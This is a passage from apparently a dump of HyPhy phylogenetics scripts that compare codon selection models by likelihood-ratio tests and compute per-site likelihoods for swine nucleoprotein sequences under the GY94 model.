Format (AICPSP,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICcPSP,  15, 5),\"\\n\"\n);\n\nd1 = ReportDistributionString(4,freqStrMx_1,\"1_\",0);\nd2 = ReportDistributionString(4,freqStrMx_2,\"2_\",0);\n\nfprintf (stdout,  \"Inferred rates for data set 1:\\n\", d1);\nfprintf (sumPath,  \"Inferred rates for data set 1:\\n\", d1);\nfprintf (stdout,  \"Inferred rates for data set 2:\\n\", d2);\nfprintf (sumPath,  \"Inferred rates for data set 2:\\n\", d2);\nfpath = resToPath + \".SharedProportion\";\nLIKELIHOOD_FUNCTION_OUTPUT = 6;\nfprintf (fpath,CLEAR_FILE,lf);\n\n\n/*-------------- SHARED POSITIVE SELECTION REGIME  ------------------*/\n\n/* RELOAD INDEPENDENT FIT */\nDeleteObject (lf);\nExecuteAFile (resToPath);\n\nfor (k=0; k<respP; k=k+1)\n{\n\tExecuteCommands (\"R_1_\"+k+\"=0.5(R_1_\"+k+\"+R_2_\"+k+\");\");\n\tExecuteCommands (\"R_2_\"+k+\":=R_1_\"+k+\";\");\n}\nfor (k=1; k<=respP; k=k+1)\n{\n\tExecuteCommands (\"P_1_\"+k+\"=0.5(P_1_\"+k+\"+P_2_\"+k+\");\");\n\tExecuteCommands (\"P_2_\"+k+\":=P_1_\"+k+\";\");\n}\n\nGetString (paramList, lf, -1);\ndegFPSH = Columns(paramList[\"Global Independent\"]) + 14 - 2*branchLengths + treeBranchParameters; \n\nfprintf (stdout, \"\\nRunning a shared positive selection regime model (\", degFPSH, \" parameters)...\\n\");\nOptimize (res_PSH,lf);\nLogLPSH = res_PSH[1][0];\n\nAICPSH\t = 2*(degFPSH-LogLPSH);\nAICcPSH    = 2*(degFPSH*totalCodonCount/(totalCodonCount-degFPSH-1) - LogLPSH);\n\nfprintf (stdout, \"\\n\\nShared positive selection regime model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogLPSH, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degFPSH, 15, 0),\n\t\t\t\t \"\\nAIC           :\", Format (AICPSH,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICcPSH,  15, 5),\"\\n\"\n);\n\nfprintf (sumPath, \"\\n\\nShared positive selection regime model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogLPSH, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degFPSH, 15, 0),\n\t\t\t\t \"\\nAIC           :\", Format (AICPSH,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICcPSH,  15, 5),\"\\n\"\n);\n\nd1 = ReportDistributionString(4,freqStrMx_1,\"1_\",0);\nd2 = ReportDistributionString(4,freqStrMx_2,\"2_\",0);\n\nfprintf (stdout,  \"Inferred rates for data set 1:\\n\", d1);\nfprintf (sumPath,  \"Inferred rates for data set 1:\\n\", d1);\nfprintf (stdout,  \"Inferred rates for data set 2:\\n\", d2);\nfprintf (sumPath,  \"Inferred rates for data set 2:\\n\", d2);\nfpath = resToPath + \".SharedPositiveSelection\";\nLIKELIHOOD_FUNCTION_OUTPUT = 6;\nfprintf (fpath,CLEAR_FILE,lf);\n\n/*-------------- SHARED MODEL ------------------*/\n\nDeleteObject (lf);\nExecuteAFile (resToPath);\n\nfor (k=0; k<resp; k=k+1)\n{\n\tExecuteCommands (\"S_1_\"+k+\"=0.5(S_1_\"+k+\"+S_2_\"+k+\");\");\n\tif (k<respP || k>=respP+respN)\n\t{\n\t\tExecuteCommands (\"R_1_\"+k+\"=0.5(R_1_\"+k+\"+R_2_\"+k+\");\");\n\t}\n\tExecuteCommands (\"S_2_\"+k+\":=S_1_\"+k+\";R_2_\"+k+\":=R_1_\"+k+\";\");\n}\nfor (k=1; k<=resp; k=k+1)\n{\n\tExecuteCommands (\"P_1_\"+k+\"=0.5(P_1_\"+k+\"+P_2_\"+k+\");\");\n\tExecuteCommands (\"P_2_\"+k+\":=P_1_\"+k+\";\");\n}\n\nGetString (paramList, lf, -1);\ndegFJ = Columns(paramList[\"Global Independent\"]) + 14 - 2*branchLengths + treeBranchParameters; \nfprintf (stdout, \"\\nRunning a shared distributions model fit (\", degFJ, \" parameters)...\\n\");\n\nOptimize (res_J,lf);\nLogLJ = res_J[1][0];\n\nAICJ\t = 2*(degFJ-LogLJ);\nAICcJ    = 2*(degFJ*totalCodonCount/(totalCodonCount-degFJ-1) - LogLJ);\n\nfprintf (stdout, \"\\n\\nShared distributions model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogLJ, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degFJ, 15, 0),\n\t\t\t\t \"\\nAIC           :\", Format (AICJ,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICcJ,  15, 5),\"\\n\"\n);\n\nfprintf (sumPath, \"\\n\\nShared distributions model fit summary\\n\", \n\t\t\t\t \"\\nLog likelihood:\", Format (LogLJ, 15, 5),\n\t\t\t\t \"\\nParameters    :\", Format (degFJ, 15, 0),\n\t\t\t\t \"\\nAIC           :\", Format (AICJ,  15, 5),\n\t\t\t\t \"\\nc-AIC         :\", Format (AICcJ,  15, 5),\"\\n\"\n);\n\nd1 = ReportDistributionString(4,freqStrMx_1,\"1_\",0);\n\nfprintf (stdout,  \"Inferred joint rates:\\n\", d1);\nfprintf (sumPath, \"Inferred joint rates:\\n\", d1);\n\nfpath = resToPath + \".JointAll\";\nLIKELIHOOD_FUNCTION_OUTPUT = 6;\nfprintf (fpath,CLEAR_FILE,lf);\n\nUSE_LAST_RESULTS \t\t\t= 0;\nSKIP_CONJUGATE_GRADIENT \t= 0;\nLIKELIHOOD_FUNCTION_OUTPUT\t= 2;\n\nfprintf (stdout, \"\\nDistribution comparison tests\\n\",\n\t\t\t\t \"\\n\\tAre the distributions different?\",\n\t\t\t\t \"\\n\\t\\tLR = \", Format (2*(LogL-LogLJ),10,3), \n\t\t\t\t \t  \" DF = \", degF-degFJ, \n\t\t\t\t \t  \" p = \", Format(1-CChi2(2*(LogL-LogLJ), degF-degFJ),8,3), \"\\n\");\n\nfprintf (stdout, \"\\n\\tAre selective regimes (dN/dS and proportions) different?\",\n\t\t\t\t \"\\n\\t\\tLR = \", Format (2*(LogL-LogLPSH),10,3), \n\t\t\t\t \t  \" DF = \", degF-degFPSH, \n\t\t\t\t \t  \" p = \", Format(1-CChi2(2*(LogL-LogLPSH), degF-degFPSH),8,3), \"\\n\");\n\nfprintf (stdout, \"\\n\\tAre selection strengths (dN/dS) different?\",\n\t\t\t\t \"\\n\\t\\tLR = \", Format (2*(LogL-LogLPSS),10,3), \n\t\t\t\t \t  \" DF = \", degF-degFPSS, \n\t\t\t\t \t  \" p = \", Format(1-CChi2(2*(LogL-LogLPSS), degF-degFPSH),8,3), \"\\n\");\n\nfprintf (stdout, \"\\n\\tAre the proportions of codons under selection different?\",\n\t\t\t\t \"\\n\\t\\tLR = \", Format (2*(LogL-LogLPSP),10,3), \n\t\t\t\t \t  \" DF = \", degF-degFPSP, \n\t\t\t\t \t  \" p = \", Format(1-CChi2(2*(LogL-LogLPSP), degF-degFPSP),8,3), \"\\n\");\n\nfprintf (sumPath, \"\\n\\nDistribution comparison tests\\n\",\n\t\t\t\t \"\\n\\tAre the distributions different?\",\n\t\t\t\t \"\\n\\t\\tLR = \", Format (2*(LogL-LogLJ),10,3), \n\t\t\t\t \t  \" DF = \", degF-degFJ, \n\t\t\t\t \t  \" p = \", Format(1-CChi2(2*(LogL-LogLJ), degF-degFJ),8,3), \"\\n\");\n\nfprintf (sumPath, \"\\n\\tAre selective regimes (dN/dS and proportions) different?\",\n\t\t\t\t \"\\n\\t\\tLR = \", Format (2*(LogL-LogLPSH),10,3), \n\t\t\t\t \t  \" DF = \", degF-degFPSH, \n\t\t\t\t \t  \" p = \", Format(1-CChi2(2*(LogL-LogLPSH), degF-degFPSH),8,3), \"\\n\");\n\nfprintf (sumPath, \"\\n\\tAre selection strengths (dN/dS) different?\",\n\t\t\t\t \"\\n\\t\\tLR = \", Format (2*(LogL-LogLPSS),10,3), \n\t\t\t\t \t  \" DF = \", degF-degFPSS, \n\t\t\t\t \t  \" p = \", Format(1-CChi2(2*(LogL-LogLPSS), degF-degFPSH),8,3), \"\\n\");\n\nfprintf (sumPath, \"\\n\\tAre the proportions of codons under selection different?\",\n\t\t\t\t \"\\n\\t\\tLR = \", Format (2*(LogL-LogLPSP),10,3), \n\t\t\t\t \t  \" DF = \", degF-degFPSP, \n\t\t\t\t \t  \" p = \", Format(1-CChi2(2*(LogL-LogLPSP), degF-degFPSP),8,3), \"\\n\");\n/*------------------------------------------------------------------------------------------------------------*/\n\nfunction checkASample (whichRate)\n{\n\tExecuteCommands (\"S_\"+whichRate+\"=v1;R_\"+whichRate+\"=v2/v1;\");\n\tLFCompute (lf,res_n);\n\tlocalDiff = res_n-baseLineLL;\n\tif (localDiff > bestDiff)\n\t{\n\t\tbestDiff \t= localDiff;\n\t\tbestAlpha \t= v1;\n\t\tbestBeta  \t= v2/v1;\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "samples/HyPhy/hyphy_cmds.bf",
    "content": "INTEGRATION_PRECISION_FACTOR = 5.0e-6;\nEND_OF_FILE = 0;\nLIKELIHOOD_FUNCTION_OUTPUT = 5;\nACCEPT_BRANCH_LENGTHS = 1;\n#include \"/home/oashenbe/.local/lib/python2.7/site-packages/phyloExpCM/data//NTsCodonsAAs.ibf\";\nfprintf(stdout, \"Running HYPHY script hyphy_cmds.bf...\\n\");\nDataSet data = ReadDataFile(\"_codenames_Aligned_NPs_Swine.fasta\");\nassert(data.sites % 3 == 0, \"Sequence lengths not multiples of 3\");\ntotalcodons = data.sites $ 3;\nfprintf(stdout, \"Read from _codenames_Aligned_NPs_Swine.fasta a set of \", data.species, \" sequences consisting of \", data.sites, \" nucleotides corresponding to \", totalcodons, \" codons each.\\n\");\nfprintf(stdout, \"The analysis will include the following 498 codon positions (sequential numbering starting with 1):\\n1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498\\n\");\nassert(totalcodons >= 498, \"Largest included site exceeds sequence length\");\nDataSetFilter codonfilter = CreateFilter(data, 3, \"0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000,1001,1002,1003,1004,1005,1006,1007,1008,1009,1010,1011,1012,1013,1014,1015,1016,1017,1018,1019,1020,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1101,1102,1103,1104,1105,1106,1107,1108,1109,1110,1111,1112,1113,1114,1115,1116,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126,1127,1128,1129,1130,1131,1132,1133,1134,1135,1136,1137,1138,1139,1140,1141,1142,1143,1144,1145,1146,1147,1148,1149,1150,1151,1152,1153,1154,1155,1156,1157,1158,1159,1160,1161,1162,1163,1164,1165,1166,1167,1168,1169,1170,1171,1172,1173,1174,1175,1176,1177,1178,1179,1180,1181,1182,1183,1184,1185,1186,1187,1188,1189,1190,1191,1192,1193,1194,1195,1196,1197,1198,1199,1200,1201,1202,1203,1204,1205,1206,1207,1208,1209,1210,1211,1212,1213,1214,1215,1216,1217,1218,1219,1220,1221,1222,1223,1224,1225,1226,1227,1228,1229,1230,1231,1232,1233,1234,1235,1236,1237,1238,1239,1240,1241,1242,1243,1244,1245,1246,1247,1248,1249,1250,1251,1252,1253,1254,1255,1256,1257,1258,1259,1260,1261,1262,1263,1264,1265,1266,1267,1268,1269,1270,1271,1272,1273,1274,1275,1276,1277,1278,1279,1280,1281,1282,1283,1284,1285,1286,1287,1288,1289,1290,1291,1292,1293,1294,1295,1296,1297,1298,1299,1300,1301,1302,1303,1304,1305,1306,1307,1308,1309,1310,1311,1312,1313,1314,1315,1316,1317,1318,1319,1320,1321,1322,1323,1324,1325,1326,1327,1328,1329,1330,1331,1332,1333,1334,1335,1336,1337,1338,1339,1340,1341,1342,1343,1344,1345,1346,1347,1348,1349,1350,1351,1352,1353,1354,1355,1356,1357,1358,1359,1360,1361,1362,1363,1364,1365,1366,1367,1368,1369,1370,1371,1372,1373,1374,1375,1376,1377,1378,1379,1380,1381,1382,1383,1384,1385,1386,1387,1388,1389,1390,1391,1392,1393,1394,1395,1396,1397,1398,1399,1400,1401,1402,1403,1404,1405,1406,1407,1408,1409,1410,1411,1412,1413,1414,1415,1416,1417,1418,1419,1420,1421,1422,1423,1424,1425,1426,1427,1428,1429,1430,1431,1432,1433,1434,1435,1436,1437,1438,1439,1440,1441,1442,1443,1444,1445,1446,1447,1448,1449,1450,1451,1452,1453,1454,1455,1456,1457,1458,1459,1460,1461,1462,1463,1464,1465,1466,1467,1468,1469,1470,1471,1472,1473,1474,1475,1476,1477,1478,1479,1480,1481,1482,1483,1484,1485,1486,1487,1488,1489,1490,1491,1492,1493\", \"\", \"TAA,TAG,TGA\");\nassert(data.species == codonfilter.species, \"species number mismatch\");\nassert(codonfilter.sites == 498, \"Codon filtered data does not contain the right number of sites\");\nfprintf(stdout, \"Created a codon filter of \", codonfilter.sites, \" sites.\\n\");\nassert(totalcodons - (totalcodons - 498) - 0 == codonfilter.sites, \"Codon filtered data is not the expected length. Do sequences contain stop codons?\");\nCheckCodonFilter(\"codonfilter\");\nfprintf(stdout, \"Reading tree string from _codenames_codonphyml_Swine_tree.newick.\\n\");\nfscanf(\"_codenames_codonphyml_Swine_tree.newick\", String, treestring);\nfprintf(stdout, \"Using the Goldman Yang 1994 (GY94) codon model...\\n\");\n#include \"/home/oashenbe/.local/lib/python2.7/site-packages/phyloExpCM/data//CF3x4.ibf\";\n#include \"/home/oashenbe/.local/lib/python2.7/site-packages/phyloExpCM/data//GY94.ibf\";\nCreateGY94Model(\"CF3x4\", \"global\", \"global\", 4, 4, 1);\nUseModel(model);\nExecuteCommands(\"Tree tree = treestring;\")\nassert(codonfilter.species == TipCount(tree), \"Number of species and number of tips differ\");\nLikelihoodFunction likelihood = (codonfilter, tree);\nfprintf(stdout, \"\\nNow optimizing the likelihood function...\\n\");\nOptimize(mlestimates, likelihood)\nfprintf(stdout, \"Completed likelihood optimization. Optimized \", mlestimates[1][1], \" indpendent parameters and \", mlestimates[1][2], \" shared parameters to obtain a log likelihood of \", mlestimates[1][0], \".\\n\");\nfprintf(stdout, \"Writing the results to hyphy_output.txt.\\n\");\nfprintf(\"hyphy_output.txt\", \"Log likelihood: \", mlestimates[1][0], \"\\nindependent parameters (includes branch lengths): \", mlestimates[1][1], \"\\nshared parameters: \", mlestimates[1][2], \"\\nnumber of branch lengths: \", TipCount(tree) + BranchCount(tree), \"\\nnumber of tip nodes: \", TipCount(tree), \"\\nnumber of internal branches: \", BranchCount(tree), \"\\n\",likelihood);\nfprintf(stdout, \"\\nNow computing per-site likelihoods.\\n\");\nfprintf(stdout, \"\\nFirst fixing all global variables to the maximum-likelihood values estimated on the entire tree.\\n\");\nGetString(associativearray, likelihood, -1);\nglobalindependentvariables = associativearray[\"Global Independent\"];\nfor (ivariable=0; ivariable<Columns(globalindependentvariables); ivariable=ivariable+1) {\n  variable = globalindependentvariables[ivariable];\n  cmdstring = variable + \" := \" + Format(variable, 0, 30) + \";\";\n  fprintf(stdout, \"\\nFixing variable as follows: \", cmdstring, \"\\n\");\n  ExecuteCommands(cmdstring);\n}\npersitelikelihoods = \"sitelikelihoods.txt\";\nfprintf(stdout, \"\\nNow computing per-site likelihoods and writing to \", persitelikelihoods, \"...\\n\");\nfprintf(persitelikelihoods, \"#SITE\\tSITE_LOG_LIKELIHOODS\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 1...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"0,1,2\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 1\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"1\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 2...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"3,4,5\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 2\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"2\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 3...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"6,7,8\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 3\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"3\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 4...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"9,10,11\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 4\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"4\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 5...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"12,13,14\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 5\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"5\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for 